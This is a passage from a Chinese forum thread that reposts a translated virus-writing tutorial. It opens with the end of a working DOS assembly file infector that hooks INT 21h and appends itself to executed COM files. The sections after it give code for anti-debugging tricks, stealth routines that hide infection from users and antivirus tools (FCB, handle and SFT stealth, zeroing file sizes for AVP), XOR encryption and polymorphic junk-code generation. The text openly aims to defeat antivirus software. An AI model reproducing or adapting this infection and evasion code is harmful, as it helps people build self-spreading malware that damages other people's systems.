mov ds, ax
push ds
lds ax, ds:[21h*4] ; Get old int handler
mov word ptr es:oldint21, ax
mov word ptr es:oldint21+2, ds
pop ds
mov word ptr ds:[21h*4], offset int21 ; Replace with new handler
mov ds:[21h*4+2], es ; in high memory
done_install:
pop ds
pop es
restore_COM:
mov di, 0100h ; Where to move data
push di ; In what offset will the ret go
lea si, [bp+offset old3] ; What to move
movsb ; Move 3 bytes
movsw
ret ; Return to 100h
old3 db 0cdh,20h,0
int21:
push ax
push bx
push cx
push dx
push si
push di
push ds
push es
cmp ax, 4B00h ; execute?
jz execute
return:
jmp exitint21
execute:
mov word ptr cs:filename, dx
mov word ptr cs:filename+2, ds
mov ax, 4300h ; Get attributes for later restore
lds dx, cs:filename
int 0021h
jc return
push cx
push ds
push dx
mov ax, 4301h ; clear file attributes
push ax ; save for later use
xor cx, cx
int 0021h
lds dx, cs:filename ; Open file for read/write
mov ax, 3D02h
int 0021h
xchg ax, bx
push cs ; Adjust segments
pop ds
push cs
pop es ; CS=ES=DS
mov ax, 5700h ; get file time/date
int 0021h
push cx
push dx
mov cx, 001Ah ; Read 1Ah bytes of file
mov dx, offset readbuffer
mov ah, 003Fh
int 0021h
mov ax, 4202h ; Move file pointer to the end
xor dx, dx
xor cx, cx
int 0021h
cmp word ptr [offset readbuffer], 'ZM' ; Is it EXE ?
jz jmp_close
mov cx, word ptr [offset readbuffer+1] ; jmp location
add cx, heap-start+3 ; convert to filesize
cmp ax, cx ; equal if already infected
jl skipp
jmp_close:
jmp close
skipp:
cmp ax, 65535-(endheap-start) ; check if too large
ja jmp_close ; Exit if so
mov di, offset old3 ; Restore 3 first bytes
mov si, offset readbuffer
movsb
movsw
sub ax, 0003h
mov word ptr [offset readbuffer+1], ax
mov dl, 00E9h
mov byte ptr [offset readbuffer], dl
mov dx, offset start
mov cx, heap-start
mov ah, 0040h ; concatenate virus
int 0021h
xor cx, cx
xor dx, dx
mov ax, 4200h ; Move pointer to the beginning
int 0021h
mov dx, offset readbuffer ; Write first 3 bytes
mov cx, 0003h
mov ah, 0040h
int 0021h
close:
mov ax, 5701h ; restore file time/date
pop dx
pop cx
int 0021h
mov ah, 003Eh ; Close file
int 0021h
pop ax ; restore file attributes
pop dx ; get filename and
pop ds
pop cx ; attributes from stack
int 0021h
exitint21:
pop es
pop ds
pop di
pop si
pop dx
pop cx
pop bx
pop ax
db 00EAh ; return to original handler
oldint21 dd ?
signature db '[PS/G齗',0
heap:
filename dd ?
readbuffer db 1ah dup (?)
endheap:
end start
;-------到这里为止剪切----------------------------------------------------
对不住了,我知道我实在是太懒了。你也可以认为这是一种懒惰的态度,可能就是吧
。但是只要想想在写这篇教程的时候我正在编写一些病毒和为DDT杂志写文章,所以我就没
有足够的时间来为这篇教程写我自己的病毒了。嗨,没有人因为这篇文章给我报酬,你知
道吗?
返回顶端
onlyu
侠客
年龄:24
十二宫图:
加入时间: 2003/11/20
文章: 23
Points: 30
时间: 2004-2-10 周二, 下午6:30 标题: go on..................
------------------------------------------------------------------------------
--
【保护你的代码】
~~~~~~~~~~~~~~
这个话题在业界是一个很热门的话题。许多病毒编写者保护它们的代码是为了使病毒
查杀工具更困难。当然,我们我们还要讨论反调试的方法。有许多众所周知的技术...但是
,在这里能看到是一件很好的事情...你说呢?
关于这个,有很多可能的方法。它们许多都是可配置的。你也可以利用传统的方法。
我认为应该至少要放一个例程到你的多态引擎中(在长-例程表里,如Wintermute的Zohra病
毒)来欺骗病毒查杀工具,防止它们对我们的代码解密。出发喽!
一个非常有用的东西是释放键盘。当我们释放键盘时,调试器使用者就不能再跟踪了
(在TD里F7)。如果使用者正常运行一个程序...没问题。只要一个int 3(断点)将会做其它
事了。它是一个非常简单的东西却做得很好!让我们看看一些代码:
bye_keyb:
in al,21h ; Let's deactivate keyboard
or al,02h ; Try to press any key...
out 21h,al
fuck_int3:
int 3h ; Breakpoint
exit_adbg:
in al,21h ; Let's activate keyboard
and al,not 2 ; keyb works now
out 21h,al ; cool
这是一个很好得方法。只要你会做...当我们的病毒正在运行时不时地释放键盘将会:
使得差劲地使用者很惊奇,不允许他按该死的^C,所有你想做的将会成功。真的时非常有
用而简单的事情。
另一个方法是对堆栈做些手脚。许多反调试工具就是用的这个古老而简单的方法。利
用这个方法,你可以做你想做的任何事情。下面给出:
do_shit_stack:
neg sp
neg sp
简单吧,哈哈?你也可以使用NOT而不使用NEG,同样的结果。
tons_of_shit:
not sp
not sp
NEG有什么用呢?它把寄存器加1然后对结果进行NEG操作。但是它是一个非常老的花招
了...你可以用它,但是最好用其它的方法吧,对于厉害的调试器如S-ICE就不一定有效了
。但是如果你使用一个多态引擎你就添上如下的代码,那么病毒查杀工具在解密你的病毒
的时候就会受挫了。呵呵...你能使用的另外一个方法是使堆栈溢出:
overflower:
mov ax,sp
mov sp,00h
pop bx
mov sp,ax
当然啦...还有更多呢。另外一个经典的方法是钩住INT 1 和/或 INT 3。你有许多方
法来做这个。好了,我再介绍几个方法:
change_int1_and_int3_using_dos:
mov ax,2501h ; AL = INT to hook
lea dx,newint ; Take care if we need
int 21h ; ?offset, by adding it... ok?
mov al,03h
int 21h
[...]
newint:
jmp $
iret ; Why if don't used? hehehe
这个例程能被一个TSR监视程序发现。我建议你使用下面的方法。通过直接操作实现钩
子:
int1:
xor ax,ax ; Let's try to put an IRET in INT 1
mov es,ax ; We need ES = 0. IVT is in 0000:0000
mov word ptr es:[1h*4],0FEEBh ; a jmp $
int3:
xor ax,ax
mov es,ax
mov word ptr es:[3h*4],0FEEBh ; a jmp $
如果你不想使计算机挂机,把0FEEBh代替为0CF90h(一个nop和iret指令[当然要把顺序
颠倒过来啦])。
你能想到的很酷的主意是是int 3指向int 21,然后你就可以使用这个中断而不使用i
nt 21了。这样有两个好处:欺骗调试器和优化你的代码...为什么优化你的代码呢?因为i
nt 21指令的代码是CD 21(占两个字节),而int 3仅仅是CC...
记住int 3是调试器的一个断点,所以每次你调用int 3,调试器就会停止下面给出代
码:
getint21:
mov ax,3521h ; Get interrupt vectors
int 21h
mov word ptr [int21_ofs],bx
mov word ptr [int21_seg],es
mov ax,2503h
lea dx,jumptoint21
int 21h
[...]
jumptoint21 db 0EAh
int21 equ this dword
int21_ofs dw 0000h
int21_seg dw 0000h
我们还可以比较堆栈为了知道我们是否正在被调试。下面给出例子:
stack_compares:
push ax
pop ax
dec sp
dec sp
pop bx
cmp ax,bx
jz exit_adbg ; not debugged
jmp $ ; hang computers is cool
exit_adbg:
记住,如果需要,先使断点无效(cli),后使断点有效(sti)。是的,还有更多的方法
来保护我们的代码。但是,嗨!它们太老了,它们有效!看看下面的一个方法...我很喜欢
这个方法。看看下面的代码:
prefetch:
mov word ptr cs:fake,0FEEBh ; Why do you think this made
fake: jmp nekst ; if debugged? Yes, hang PC!
nekst: ; Continue with your code here
你还可以利用prefetch做更多的事情。你还可以跳到一个程序或者设置一个hlt指令(
也能挂机)...无论你想要什么,如下:
prefetch_fun:
mov word ptr cs:fake2,04CB4h
fake2: jmp bye_fake
int 21h
bye_fake:
这段代码将会终止程序的执行,现在一段特殊的为SoftIce准备的例程(最好的调试器
也被骗过了)。
更多的代码:
soft_ice_fun:
mov ax,0911h ; Soft-ice function for exec. command
mov di,4647h ; DI = "FG"
mov si,4A4Eh ; SI = "JM"
lea dx,soft_ice_fuck ; Yeah
int 03h ; Int for breakpoints
soft_ice_fuck db "bc *",10,0
另外一个花招是钩住int 8,并在那里放置一个比较我们驻留内存代码里的一个变量,
因为许多调试器会释放所有的中断除了int 8之外。int 8 指令在一秒之内能执行18.2次。
我建议你在钩住它之前保存就的句柄。你想看代码吗?下面给出:
save_old_int8_handler: ; You remember 40-hex magazine?
mov ax,3508h ; This routine is from issue #7
int 21h
mov word ptr [int8_ofs],bx
mov word ptr [int8_seg],es
push bx es
mov ah,25h ; Put int 8 handler
lea dx,virii
int 21h
fuckin_loop:
cmp fuckvar,1 ; This will cause a little delay
jnz fuckin_loop
pop ds ds
int 21h
mov ax,4C00h
int 21h
fuckvar db 0
int8 equ this dword
int8_ofs dw 0000h
int8_seg dw 0000h
program:
; bla bla bla
mov fuckvar,1
; more and more bla
jmp dword ptr [int8]
记住Demogorgon的忠告:“没有保护的代码就是公开的”。
嗨!如果你需要得到偏移地址要小心点(如运行期<g>病毒),并加上它...ok?
【隐蔽(Stealth)】
~~~~~~~~~~~~~~~
什么是隐蔽?在病毒编写世界里,是指所有这些技术,使得我们隐藏病毒的感染特征
,如文件大小的增长,我们执行一个程序去些一个写保护了的软盘的错误信息"Abort,Ret
ry,Ignore",读一个消了毒的文件,文件的日期看起来没什么问题...换句话说,使用户相
信一些假的东西。隐蔽还是一个病毒组织的名字(SGWW),但这是另外一段历史了
% INT 24h 隐蔽 %
~~~~~~~~~~~~~~~~
是的,这是一种隐蔽的方法。你可以认为它太老了,但是我相信这是在病毒里实现隐
蔽的第一步。目标是在我们正在执行一个写保护了的软盘上的程序,使得病毒企图写,并
且它做了,但是DOS发现了这个错误,要避免出现"Abort,Retry,Ignore"这个错误提示信息
。如果使用者看到了这个信息,将会怀疑有些问题...
这非常简单,所有我们要做的就是取代原先的INT 24h中断向量(这个中断处理严重的
错误)来欺骗这个中断,代码仅仅为"mov al,3",后面跟着一个"iret"。
让我们看看:
mov ax,3524h
int 21h
mov word ptr [int24_off],bx
mov word ptr [int24_seg],es
mov ax,2524h
lea dx,int24handler
int 21h
[...]
int24handler:
mov al,3
iret
%目录隐蔽%
~~~~~~~~~~
有两种类型的目录隐蔽:通过FCB和通过句柄。
FCB 隐蔽:
你还记得FCB的结构吗?你可以看看结构这一章,如果你已经忘了
好了,让我们来看看...这里我们的目标是把病毒大小减去真正的感染的病毒的大小,
你必须添加如下的代码到你的int 21h的处理:
[...]
cmp ah,11h ; FindFirst ( FCB )
je FCBstealth
cmp ah,12h ; FindNext ( FCB )
je FCBstealth
[...]
然后我们创建一个过程叫FCBstealth(你也可以命名为其它的),让后放进一个假的中
断调用。然后我们经常结果是否为0,如果为0,我们直接跳到中断返回处,否则,我们继
续。现在我们把我们使用的寄存器(AX,BX,ES)压栈,然后我们调用INT 21h功能Ah=2Fh,把
DTA的地址返回到ES:BX中。现在该是检测FCB是普通的还是扩展的时候了。通把FCB的第一
个字节(在ES:[BX]中)和FFh比较,我们就知道了。如果相等,则FCB是扩展的,然后我们通
过对BX加7个字节来修正它。如果它是普通的,我们保留它。现在我们经常这个文件是否已
经被感染过。为了使我们的问题最简单,我将假设感染的标志是使秒数达到60(一个不可能
的值)。如果它没被感染,我们跳过这个文件。现在该是减去病毒大小的时候了,和...这
里我们有!FCB隐蔽!让我们看看代码:
FCB_Stealth:
pushf
call dword ptr cs:[oldint21] ; Fake call to INT 21h
or al,al ; Optimized cmp al,0
jnz error
push ax bx es
mov ah,2Fh ; Get DTA address in ES:BX
int 21h
cmp byte ptr es:[bx],0FFh ; Is FCB extended ?
jne normal
add bx,07h ; No, fix it
normal:
mov ax,es:[bx+17h] ; Get seconds
and ax,1Fh ; Unmask seconds
xor al,1Eh ; Are seconds = 60 ? ( 30*2 )
jne not_infected ; No, skip it
sub word ptr es:[bx+1Dh],virus_size ; Substract virus size
sbb word ptr es:[bx+1Fh],0 ; With borrow, too
not_infected:
pop es bx ax
error:
retf 02
句柄隐蔽:
句柄是达到FCB隐蔽目的的另外一种方法。我们的目标也一样,隐藏大小(还有其它如
果需要的话)...但是这个功能我们必须阻止,而我们必须改变的东西也有一点不一样(如果
一样我们就使用和上面一样的代码了)
好了,我提供给你的INT 21h 的处理代码如下:
[...]
cmp ah,4Eh ; FindFirst ( Handle )
je HandleStealth
cmp ah,4Fh ; FindNext ( Handle )
je HandleStealth
[...]
现在,我将解释一个经典的处理隐蔽的例程。首先,我们编写一个调用旧INT 21h的假
调用函数(当然要在把标志压栈后啦)。接下来,我们把要保存的寄存器保存了(AX,BX,ES)
并获得ES:BX(AH=2Fh)里的DTA。我们检查是否已被感染(在ES:[BX+17h]处),如果已经被感
染,我们就把文件的大小减去病毒的大小。它和上面的隐蔽的方法很类似,但是,正如你
看到的,还有一些不同的东西。
光有理论没有代码太无聊了
HandleStealth:
pushf
call dword ptr cs:[oldint21] ; Fake call to DOS API
jc goback ; CF=1 if error
push ax bx es ; Save registers we use
mov ah,2Fh ; DTA @ ES:BX
int 21h
mov ax,es:[bx+16h] ; Get the file time
and ax,1Fh ; Unmask Seconds
xor al,1Eh ; 60 ? ( Compare in optimized way )
jne damnedpops ; Fuck!
sub word ptr es:[bx+1Ah],virus_size ; Guess...
sbb word ptr es:[bx+1Ch],0
damnedpops:
pop es bx ax ; Get the old values
goback:
retf 02
%目录隐藏里的问题%
~~~~~~~~~~~~~~~~~~
还有一些问题需要改正,为了避免使用户痛苦,我们需要检查是否有一些问题:
-压缩工具,如PKZIP,RAR,ARJ,LHA,AIN,等等。因为如果我们给它们一个不正确的大小,那
它们在压缩文件的时候将会崩溃
-辅助工具如CHKDSK,将会不停地显示一个永不停止的错误列表,因为硬盘上文件的大小和
我们显示给用户看的大小不相等
-病毒查杀工具如F-PROT,AVP和其它的SCUM,会保护显示可能被一个隐蔽的病毒感染的信息
。
所以,浪费一些代码来做比较为了看看这些程序中是否有一个正在运行,然后释放隐
蔽并不是一个坏主意(当我们脱离危险之后,再激活)。
%中断向量隐蔽%
~~~~~~~~~~~~~~
这种类型的隐蔽非常容易。当我们使用这种方法的时候,我们试图获得原先的向量(在
安装我们自己的中断处理程序的时候需要得到它们)给请求调用的程序。对于有些事情有好
处:我们的中断处理程序将总是在第一位的。让我们看看如果我们钩住了上述的中断,我
们需要添加什么给INT 21h的向量呢。
[...]
cmp ax,3521h ; Get INT 21h vectors
je RequestINT21h
cmp ah,2521h ; Put INT 21h vectors
je PutNewINT21h
[...]
添加我们如下的例程:
RequestINT21h:
mov bx,word ptr cs:[int21_off] ; Return in BX the old int offset
mov es,word ptr cs:[int21_seg] ; Return in ES the old int segment
iret
PutNewINT21h:
mov word ptr cs:[int21_seg],ds ; Put the new segment in int21_seg
mov word ptr cs:[int21_off],dx ; " " " offset " int21_off
iret
%时间隐蔽%
~~~~~~~~~~
这里我不能列出代码了因为这个是属于私人的东西,当你编写你的病毒的时候,它必
须适合你的需要。你可以使用很多的方法来标志感染的文件...把秒设置到60,62...(不可
能),使年增加100年,使秒和日期相等...获得时间和日期的方法使使用功能AX=5700h,并
赋新值AX=5701h。将在CX中得到时间,在DX中得到日期(这些我们必须要中途改变以实现隐
蔽的)。
%SFT隐蔽%
~~~~~~~~~
如果你还记得SFT这个结构,在偏移地址11处,我们有一个双字用来保存文件的大小,
那么所有我们需要做的使看这个文件是否已被感染,如果已经感染了,把文件的大小减去
病毒的大小。让我们看一小段代码(假设感染的标志是seconds=60,并且我们已经调用了一
个例程使得SFT在ES:DI中):
Infect:
[...]
mov ax,word ptr es:[di+0Dh] ; Get time
and al,01Fh ; Unmask seconds
cmp al,01Eh ; Seconds = 60 ?
jnz AintInfected ; No, infect it
sub word ptr es:[di+11h],virus_size ; Yes, substract virus size
sbb word ptr es:[di+13h],0000h
[...]
AintInfected:
[...]
你能做的一件比较好的事情是避免AVP 3.0的扫描。首先,我们必须知道AVP是否正在
运行。当AVP 3.0打开一个文件,有许多值使得我们知道它正在运行着呢(BX=5,SI=402Dh)
。现在该是获得SFT的时候了,然后仅用两行代码,对于Kaspersky's son,使所有的文件
大小为0:
mov word ptr es:[di+11h],0000h
mov word ptr es:[di+13h],0000h
或者只使一个如果我们能够
mov dword ptr es:[di+11],00000000h
%在空中消毒%
~~~~~~~~~~~~
这里我还是不能给你一些代码。它必须由你来编...但是我可以给你INT 21h的代码:
[...]
cmp ah,03Dh ; Open file
jz Disinfect
cmp ax,6C00h ; Extended open
jz Disinfect
cmp ah,03Eh ; Close file ( infect now!!! )
jz Infect
[...]
现在,我们必须注意一件事情...我们必须修改一些东西来编写AH=3Dh和AX=6C00h的相
同例程。
1.文件名在Ah=3Dh时的DS:DX处,在AX=6C00h时的DS:SI处。
2.打开模式在AH=3Dh时的AL中,在AX=6C00h时的BL中。
所以,我们需要编写一个例程来修改访问6C00h功能。它可能应该这样:
Disinfect:
cmp ax,6C00h
jne Check
cmp dx,1
jne ExitDisinfection
mov al,bl ; Open mode in AL
mov dx,si ; File name is now in DS:DX
Check:
mov ax,5700h
int 21h ; If we've hooked this function,
; we need to make a fake call! ( or
; use SFTs! )
and cl,1Fh ; Unmask seconds
or cl,1Eh ; Is it 60?
jnz NotInfected
[...]
消毒是你必须要做的一个例程。它没有FCB隐蔽那么普遍,因为在FCB隐蔽中你有很多
选择。OK,我至少应该解释它是怎么工作的。
给COM文件消毒:
给COM文件消毒很简单。我们需要恢复原先感染改变的第一个字节(通常3个字节),恢
复原先文件的时间/日期,移除病毒的主体(在"文件尾-病毒大小"偏移地址处改为文件结束
)。
给EXE文件消毒:
这实现起来稍微有一点点难,但不难理解
我们需要恢复原先的文件头,恢复时间/日期和移除文件末尾处的病毒主体。但是如果
我们的病毒是经过加密的话就有问题了。你必须选择要不这几个字节不加密(就给了病毒查
杀工具杀毒的方法了<g>)要不就给这些字节解密。无论如何,它还是比较简单的。
%关于隐蔽的最后讨论%
~~~~~~~~~~~~~~~~~~~~
还有更多的隐蔽的方法,如4202隐蔽,扇区隐蔽...但是我已经解释了最简单最常用的
方法。BTW,如果我们使用SFT隐蔽,那我们就不需要4202隐蔽了
在某些类型的隐蔽方法中,最可怕的事情就是和某些软件不兼容,那样可能会适得其
反。
读到这里,你可能要问了:"隐蔽有用吗?"答案是一个大大的YES。这个是把病毒的感
染隐藏的最好的方法:文件看起来大小没有变化,病毒查杀工具不会查到任何有用的信息
(使用一个十六进制编辑器来查看蛛丝马迹同样只是浪费时间罢了),还有更多的好处。你
能做的最好的事情就是当诸如CHKDSK,PKZIP之类的程序运行时释放隐蔽。所有这些只是举
手之劳。
【加密】
~~~~~~
加密技术真的很老了,但是它们仍然很有效,而且很有用,可能是在概念上幸存下来
的几个技术之一,但是仍然在继续发展着,如多态,超多态,等等。我们的目标是隐藏我
们的所有的文本字符串,可以的操作码,和所有会使用户引起注意的东西。我们可以利用
一个简单的数学运算来实现,应用到我们病毒主体的所有字节。例如,我们可以使病毒的
所有字节加1,然后我们就看不到任何可读的信息了
一个加密了的病毒如下:
___________________________________
| |
___ | Call to decryptor |
| |___________________________________|
| | |<-----|
| | | |
| | Infected file | |
| | | |
| |___________________________________| |
| | |<--| |
| | Virus body | | |
| |___________________________________|___|__|
|--->| | |
| Decryptor | |
|___________________________________|___|
非常简单,有一个调用解密程序的call,当解密程序解完密之后,它就把控制权交给
病毒,当病毒执行完自身后,它就把控制权交给原先的程序。
有一种数学运算有一个好处,就是我们可以使用同一个函数来加密和解密我们的代码
。当然,我们要讨论XOR了,在加解密中使用得最多得指令。还有两个指令可以用来实现我
们只用一个函数就可以加密和解密目的:NOT和NEG。这两个中使用得最多的是第一个指令
。当然了,我们还可以使用更多的指令进行加密。我将给出我们可以使用的指令的列表:
INC/DEC, ADD/SUB, ROL/ROR, XOR, NOT, MUL/DIV, ADC/SBB, etc...
最简单的加密我们的病毒是使用如下的例程:
encryption:
mov cx,encrypt_size ; encrypt_end-encrypt_start
mov di,[bp+encrypt_begin] ; From where
mov si,di ; For lodsb/stosb
mov ah,key ; Value for XOR. Subst key with whate
; ver you want
encryption_loop:
lodsb ; Move a byte from DS:SI to AL
xor al,ah
stosb ; Move a byte from AL to ES:DI
loop encryption_loop
ret
这个过程确实很差,它只有255种可能性,因为我们把一个8比特的寄存器作为密钥(A
H)。
当然这个是最简单的实现方法,我们必须注意一些事情:
-如果我们使用这样的例程,而且我们没有我们的病毒在内存中的备份(在这篇文章中我将
讨论它),当使用这个例程的时候,我们必须不能把解密过程代码复制(调用解密的过程也
一样)到感染文件。
-在病毒第一次产生的时候,我们必须注意病毒的状态:它没有被加密。使用xor,在第一
次产生的时候,我们可以使用00来加密,并编写一个过程在代码中改变这个值,或者简单
地避免在第一次产生的时候使用加密过程。
现在,我们将来看看当我们使用一个16比特密钥加密的上述加密过程:
encryption:
mov cx,(encrypt_size+1)/2 ; encrypt_end-encrypt_start/2
mov di,[bp+encrypt_begin] ; From where
mov si,di ; For lodsw/stosw
mov dx,key ; Value for XOR. Subst key with whate
; ver you want
encryption_loop:
lodsw ; Move a word from DS:SI to AX
xor ax,dx
stosw ; Move a word from AX to ES:DI
loop encryption_loop
ret
问题是:如果我们没有对拷贝和加密的过程不加密...病毒查杀工具将会做什么呢?它
们在我们的病毒(是的,是的,我们花费了大量的时间和精力来反启发,隐蔽,其它的一些
大花招等等也一样)中找到一个扫描字符串足够了。在5分钟之内它们就在它们的病毒库中
加入了检测我们的病毒的方法。啊!一个病毒作者花了很多天来编写的一个病毒,就因为
他使用了如此简单的加密方法,在5分钟之内,我们的敌人就找到了检测的方法!这世界真
是太黑暗了!
但是,病毒作者从不投降,所以...我们需要是解密程序越小越好。还不够,在下一章
例,你可能将得到最好的答案
怎样使我们的病毒在内存里有第二个拷贝呢?这非常简单。在标志将要拷贝的病毒的
最后一个字节,我们可以如下:
virus_end label byte ; The label that marks end of virus
enc_buffer db (offset virus_end-offset virus_start) dup (090h)
enc_buffer变量将会只在第一次产生时编码。当我们扩散这个病毒时,这个变量并不
会随着复制。但是我们可以利用它的偏移地址来放置我们的病毒的第二个复制。我们能做
的是...
-当我们把我们的病毒拷贝到内存中(一个TSR病毒),我们再一次这样,并把EXE文件头放进
代码里,或者在COM文件的头几个字节,当这些变量向后移动病毒的大小时,我们把这些代
码放到相同的偏移地址。OK,我将更好地解释它。想象我们有如下代码:
mov ah,3Fh
mov cx,4
lea dx,old3bytes
int 21h
OK,那么,如果我们在内存里面有病毒的第二个拷贝,我们必须把第三行代替为:
lea dx,virus_size+old3bytes
这是尝试的最好方法...
-或者我们可以在添加的时候拷贝病毒的主体:我们有所有的变量集。改动如下:
mov cx,virus_size
xor si,si
mov di,offset virus_begin
rep movsb
我们给它加密,添加上第二个拷贝并...足够了!
【多态(polymorphism)】
~~~~~~~~~~~~~~~~~~~~
这是病毒里面最有意思的东西。编写一个PER(Polymorphic Encryption Routine)也是
非常有趣的,并且它将清楚地显示病毒编写者在编写它的“方式”。这也是所有的初学者
所认为的非常难的东西,并且只有一个有经验的病毒编写者可以做到。不要这么认为!它
非常的简单。不要害怕。如果你看到这里还活着的话,我肯定你将会看懂所有的东西。这
一章是加密这一章的扩展。
我们做一个PER的目标是在病毒编写世界里从不停止的东西:通过尽可能地减小我们病
毒地扫描字符串来击败病毒查杀工具,也就是FUCK'EM ALL! 这个概念就是在每次感染的时
候产生不同的解密程序,所以病毒查杀工具在检测我们的病毒时将会受挫。并且这个技术
,配合STEALTH,AEMOURING,ANTI-HEURISTICS和ANTI-BAILTS能使你的病毒更加强大。OK
,让我们开始这个有意思的话题。
%历史%
~~~~~~
` 第一个想要编写一个PER的尝试的是由一个保加利亚人实现的,他可能是曾经最好的病
毒编写者之一,叫做Dark Avenger。他的病毒曾经,现在,将来都是所有病毒编写者学习
的榜样。从他的初期的病毒,如Eddie,他显示了编写代码的高质量。但是,最好的实现是
伴随者MtE(Mutation Engine)引擎的发布而出现的,在病毒史上第一个好的PER。所有的病
毒查杀工具研究者在寻找基于这个引擎的病毒的扫描字符串的时候,都快发疯了。在经过
反病毒界艰苦卓绝的努力之后,它们终于找到了对付MtE的一个可靠的扫描字符串。但是,
这才仅仅是噩梦的开始。Masud Khafir,TridenT 病毒研究组织的成员,开发了TPE,Pha
lcon Skism的Dark Angel开发了DAME(Dark Angel Multiple Encrypto),许多其他病毒研
究者们开发了其它的很酷的引擎。当我们讨论多态引擎的时候,我们必须考虑到这项技术
是在1992年出现的,很久以前的事情了。它们仅仅是对付扫描字符串的,这在如今,非常
简单啦。
但是,如今,多态引擎有很多的敌人:代码分析,模拟,跟踪,诱骗,还有有经验的
病毒查杀者在对付着我们。首先,病毒编写者认为我们的解密程序的最好的选择是使它尽
可能的变化。但是,时间已经表明了这是一个错误的想法:病毒查杀者们将会感染成千的
诱饵程序,为了看PER所能产生的所有可能的解密程序。如果我们有一小部分可能的解密程
序泄露给它们(如利用日期来产生随机数),我们正好迎合了他们的需要。他们有了一个扫
描字符串,但是在另外一台计算机上,在另外一种情形下,这个扫描字符串就不起作用了
。这就叫做SLOW poly。我们将在这一章的另外一个地方看到。
%介绍%
~~~~~~
一个多态引擎是一个病毒编写者的最最私人的东西。这里我必须对你说使用另外一个
病毒作者的多态代码并不是一个好主意。编写一个很好的PER非常的简单,但是如果你使用
另外一个病毒编写者的代码,当你编写你的病毒的时候将会受限制了。
我们需要产生一个解密程序,在真正的解密代码里设置废代码,利用假的跳转,调用
,反调试,所有我们想要的...让我们看看在编写我们的PER的时候必须要做的...
- 产生许多方法来达到同一目的
- 尽可能的改变我们的代码的顺序
- 可以在另外的病毒里可以使用
- 可以产生不做任何INT 21h功能的Call
- 可以产生不做任何中断的Call
- 如果能够,把它作成一个slow poly
- 使所有的扫描字符串最小
- 利用armour保护指令产生器,使它在反汇编的时候非常困难。
当你在做一个PER的时候,想象力是一个非常好的武器。利用它产生你能产生的尽可能
多的东西。
%多态的第一步%
~~~~~~~~~~~~~~
编写一个改变每一个病毒产生解密程序的最简单的方法是创建一个垃圾代码产生器,
然后在一些不做任何事情的指令后面放置一些解密指令。如果你还没有创建一个引擎这是
你能做的第一件事。第一种类型的垃圾代码是一个字节的代码,这些我们所能使用的简单
的指令。我们在不做任何事情之前必须选择产生所有垃圾代码的寄存器。我通常使用AX,B
X和DX。让我们看看一个字节代码的一小小的表格:
OneByteTable:
db 09Eh ; sahf
db 090h ; nop
db 0F8h ; clc
db 0F9h ; stc
db 0F5h ; cmc
db 09Fh ; lahf
db 0CCh ; int 3h
db 048h ; dec ax
db 04Bh ; dec bx
db 04Ah ; dec dx
db 040h ; inc ax
db 043h ; inc bx
db 042h ; inc dx
db 098h ; cbw
db 099h ; cwd
EndOneByteTable:
利用设置真正指令的简单的例程,和其它的设置垃圾代码的例程,我们有一个非常简
单的多态引擎。在我们的第一步中非常有用,但是,如果你正编写一个好病毒,你必须知
道一件事情...如果有很多什么也不做的指令,要确信病毒查杀工具将会显示一个标志。E
rhm...我们该这样得到其中的一个代码呢?相当简单:
GenerateOneByteJunk:
lea si,OneByteTable ; Offset of the table
call random ; Must generate random numbers
and ax,014h ; AX must be within 0 and 14 ( 15 )
add si,ax ; Add AX ( AL ) to the offset
mov al,[si] ; Put selected opcode in al
stosb ; And store it in ES:DI ( points to
; the decryptor instructions )
ret
毫无疑问,我们需要一个随机数产生器。下面给出一个最简单的:
Random:
in ax,40h ; This will generate a random number
in al,40h ; in AX
ret
利用上面的例程,我们所能做的是一个很差劲的引擎。我们的目标是其它的,所以请
主意下面的讨论。
%编写一个简单的操作的一些方法%
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
现在几乎有无穷的(当然不是啦...只是有成百万的可能性而已)方法来往常一个简单的
指令任务。让我们想象一个"mov dx,1234h",不使用其它的寄存器:
mov dx,1234h
push 1234h
pop dx
mov dx,1234h xor 5678h
xor dx,5678h
mov dh,12h
mov dl,34h
xor dx,dx
or dx,1234h
mov dx,not 1234h
not dx
[...]
而且我们还可以有更多的组合。毫无疑问,如果我们使用另外的寄存器来完成我们的
任务,可能性就更多了。
%改变指令的顺序%
~~~~~~~~~~~~~~~~
用我们想要的顺序来编写代码有很多指令。而且,结合执行一个简单的代码的方法,
能使我们的多态引擎真正的强大。
通常,在解密循环之前的指令可以按照任何顺序来排,除了所有的PUSH/POP组合,及
相关的指令。我们现在讨论的是来完成这个任务的不依赖于其它任务的代码。让我们来看
一个例子:
mov cx,encrypt_size
mov si,encrypt_begin
mov di,encrypt_key
我们可以按我们想要的顺序来安排这些指令,一个随机的顺序下面的代码能完成相同
的任务:
mov di,encrypt_key
mov cx,encrypt_size
mov si,encrypt_begin
利用相同的方法,所有的组合可能都能达到相同的目的。
%方便性(Portability)%
~~~~~~~~
开发一个很轻便的多态引擎是很简单的。所有我们必须做的是使我们的PER使用参数。
例如,我们可以使用CX来处理要加密的大小,DS:DX指向要加密的代码。所以,用这个方法
,我们就能在我们的病毒中使用我们的引擎。
%Tables against Blocks%
~~~~~~~~~~~~~~~~~~~~~~~
基于PER的表:
这种类型的引擎的精神是把产生垃圾代码(一个字节的,假的中断调用,算术操作...
)的例程的偏移地址写入另一个表格。然后,利用一个随机的值,我们调用这些偏移地址中
的一个,产生一个随机的垃圾代码。让我们来看一个例子:
RandomJunk:
call Random ; Random number in AX
and ax,(EndRandomJunkTable-RandomJunkTable)/2
add ax,ax ; AX*2
xchg si,ax
add si,offset RandomJunkTable ; Point to table
lodsw
call ax ; Call to random table offset
ret
RandomJunkTable:
dw offset GenerateOneByteJunk
dw offset GenerateMovRegImm
dw offset GenerateMovRegMem
dw offset GenerateMathOp
dw offset GenerateArmour
dw offset GenerateCalls
dw offset GenerateJumps
dw offset GenerateINTs
[...]
EndRandomJunkTable:
添加一个新的例程到一个基于PER的表非常简单,而且这种类型的引擎可以非常的优
化(取决于代码编写者)。
基于PER的块:
我们的目标是为解密程序的每一个指令,分成一些固定长度的块。在29A#2由Spanska
编写的Elvira病毒中,我们已经有这种引擎类型的例子了。让我们在Elvira引擎的一个块
中看一个例子,它比较CX和0。每一个块都有一个确定的大小(6字节)。
cmp cx, 0
nop
nop
nop
nop
nop
nop
cmp cx, 0
nop
or cx, cx
nop
nop
nop
nop
nop
nop
or cx, cx
nop
test cx, 0FFFFh
nop
nop
or cl, cl
jne suite_or
or ch, ch
suite_or:
mov bx, cx
inc bx
cmp bx, 1
inc cx
cmp cx, 1
dec cx
nop
dec cx
cmp cx, 0FFFFh
inc cx
nop
